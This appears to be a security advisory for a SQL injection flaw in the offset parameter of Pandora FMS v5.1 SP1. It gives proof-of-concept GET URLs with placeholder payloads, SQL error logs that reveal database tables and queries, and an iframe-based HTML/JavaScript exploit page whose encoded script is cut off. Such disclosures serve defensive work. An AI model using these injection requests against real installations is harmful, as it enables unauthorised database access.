Pandora FMS v5.1 SP1 starts to fix SQL Injection Vulnerability

Pandora FMS v5.1 SP1 starts to fix SQL Injection Vulnerability

The vulnerability laboratory research team discovered during the week a sql injection vulnerability in the pandora fms v5.1 sp1 monitoring web-application. The severity of the vulnerability is high. Pandora FMS is a monitoring web-application by artica.

The vulnerability is located in the offset value of the index list context module. Remote attackers and low privileged application user accounts are able to execute own sql commands via GET method request. The attacker can prepare a request through the `agentes` module to inject own sql commands on the affected web-application dbms.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] agentes
[+] agents_modules

Vulnerable Parameter(s):
[+] offset

Proof of Concept (PoC):
The sql injection web vulnerabilities can be exploited by local low privileged application user accounts in godmode without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC:
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag...-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag...-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag...-[SQL INJECTION VULNERABILITY!]'--&refr=60
http://fms.localhost:8080/pandora/index.php?&sec=estado&sec2=operation/a...-[SQL INJECTION VULNERABILITY!]'--&refresh=&offset=-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag...-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag...-1%27-[SQL INJECTION VULNERABILITY!]'--
http://fms.localhost:8080/pandora/index.php?extension_in_menu=estado&sec...-1%27-[SQL INJECTION VULNERABILITY!]'--

--- SQL Error Session Logs ---
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 1 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY nombre' at line 28 ('SELECT id_agente_modulo,nombre FROM tagente_modulo WHERE ( 1 = ( SELECT is_admin FROM tusuario WHERE id_user = 'webuser' ) OR tagente_modulo.id_agente IN ( SELECT id_agente FROM tagente WHERE id_grupo IN ( 13 ) ) OR 0 IN ( SELECT id_grupo FROM tusuario_perfil WHERE id_usuario = 'webuser' AND id_perfil IN ( SELECT id_perfil FROM tperfil WHERE agent_view = 1 ) ) ) AND id_agente IN (-1') AND delete_pending = 0 AND delete_pending = "0" ORDER BY nombre') in /var/www/html/pandora/include/db/mysql.php
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-1, 20' at line 3 ('SELECT id_agente,id_grupo,id_os,ultimo_contacto,intervalo,comentarios description,quiet,normal_count,warning_count,critical_count,unknown_count,notinit_count,total_count,fired_count FROM tagente WHERE `id_grupo` IN ("13") AND `disabled` = 0 AND 1 = 1 AND ( 1 = 1) ORDER BY nombre COLLATE utf8_general_ci ASC, nombre COLLATE utf8_general_ci LIMIT -1, 20 ') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY utimestamp DESC LIMIT 10' at line 4 ('SELECT * FROM tevento WHERE id_agente = -1' AND estado <> 1 ORDER BY utimestamp DESC LIMIT 10') in /var/www/html/pandora/include/db/mysql.php on line 74
-
SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 ('SELECT notinit_count FROM tagente WHERE id_agente = -1'') in /var/www/html/pandora/include/db/mysql.php

PoC:Exploit (html & js)

<html>
<head><body>
<title>Pandora FMS - SQL Injection Exploit</title>
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag... INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag... INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag... INJECTION VULNERABILITY!]'--&refr=60>
<iframe src=http://fms.localhost:8080/pandora/index.php?&sec=estado&sec2=operation/a... INJECTION VULNERABILITY!]'--&refresh=&offset=-[SQL INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag... INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=operation/ag... INJECTION VULNERABILITY!]'-->
<iframe src=http://fms.localhost:8080/pandora/index.php?extension_in_menu=estado&sec... INJECTION VULNERABILITY!]'-->
</head></body>
</html>

... or

<script language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3EPandora%20FMS%20-%20SQL%20Injection%20Exploit%3C/title%3E%0A%3Ciframe%20src%3D
http%3A//fms.localhost%3A8080/pandora/index.php%3Fsec%3Destado%26sec2%3Doperation/agentes/estado_agente%26refr%3D60%26group_id%3D0%26search%3D%26sort_field%3D
%26sort%3Dnone%26status%3D0%26offset%3D-1%2527-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3F
sec%3Destado%26sec2%3Doperation/agentes/ver_agente%26tab%3Dgis%26id_agente%3D349%26refr%3D%26period%3D2592000%26refresh%3DRefresh%2520path%26offset%3D-1%2527-%5B
SQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3Fsec%3Destado%26sec2%3Doperation/agentes/estado_agente%26
group_id%3D0%26search%3D%26sort_field%3D%26sort%3Dnone%26status%3D-1%26offset%3D-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%26refr%3D60%3E%0A%3Ciframe%20src%3Dhttp%3A
//fms.localhost%3A8080/pandora/index.php%3F%26sec%3Destado%26sec2%3Doperation/agentes/ver_agente%26tab%3Dgis%26id_agente%3D349%26refr%3D%26period%3D-%5BSQL%20INJECTION%20
VULNERABILITY%21%5D%27--%26refresh%3D%26offset%3D-%5BSQL%20INJECTION%20VULNERABILITY%21%5D%27--%3E%0A%3Ciframe%20src%3Dhttp%3A//fms.localhost%3A8080/pandora/index.php%3F
sec%3Destado%26sec2%3Doperation/agentes

Reference(s):
http://fms.localhost:8080/pandora/index.php
http://fms.localhost:8080/pandora/include/db/mysql.php

Advisory: http://www.vulnerability-lab.com/get_content.php?id=1355

As result for the successful snmp and sql injection reports the companiy published acknowledgements via twitter.